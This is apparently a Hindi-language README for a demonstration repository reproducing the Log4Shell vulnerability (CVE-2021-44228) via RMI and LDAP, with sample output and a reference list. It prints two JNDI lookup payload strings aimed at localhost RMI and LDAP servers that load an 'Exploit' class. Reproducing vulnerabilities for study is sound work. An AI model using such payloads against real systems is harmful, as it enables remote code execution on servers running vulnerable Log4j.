CVE-2021-44228-Demo

CVE-2021-44228 का उपयोग करके, RMI और LDAP दो तरीकों से दूरस्थ रूप से कोड इंजेक्ट करने का उदाहरण।

Exploit class from RMI Server loaded
Hello, ${jndi:rmi://127.0.0.1:1099/exploit}
Exploit class from LDAP Server loaded
Hello, ${jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit}

RmiServer और LdapServer Python3 पर निर्भर करते हैं।

संदर्भ

• Apache Log4j2 दूरस्थ कोड निष्पादन भेद्यता पुनरुत्पादन
• Log4j उच्च जोखिम भेद्यता! विशिष्ट कारण विश्लेषण! पूरे नेटवर्क में पहला! और Log4j उच्च जोखिम भेद्यता (पूरक वीडियो)
• Log4j Lookups
• Apache Log4j2 RCE से RC1 बाइपास तक
• tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
• PSA: Log4Shell और JNDI इंजेक्शन की वर्तमान स्थिति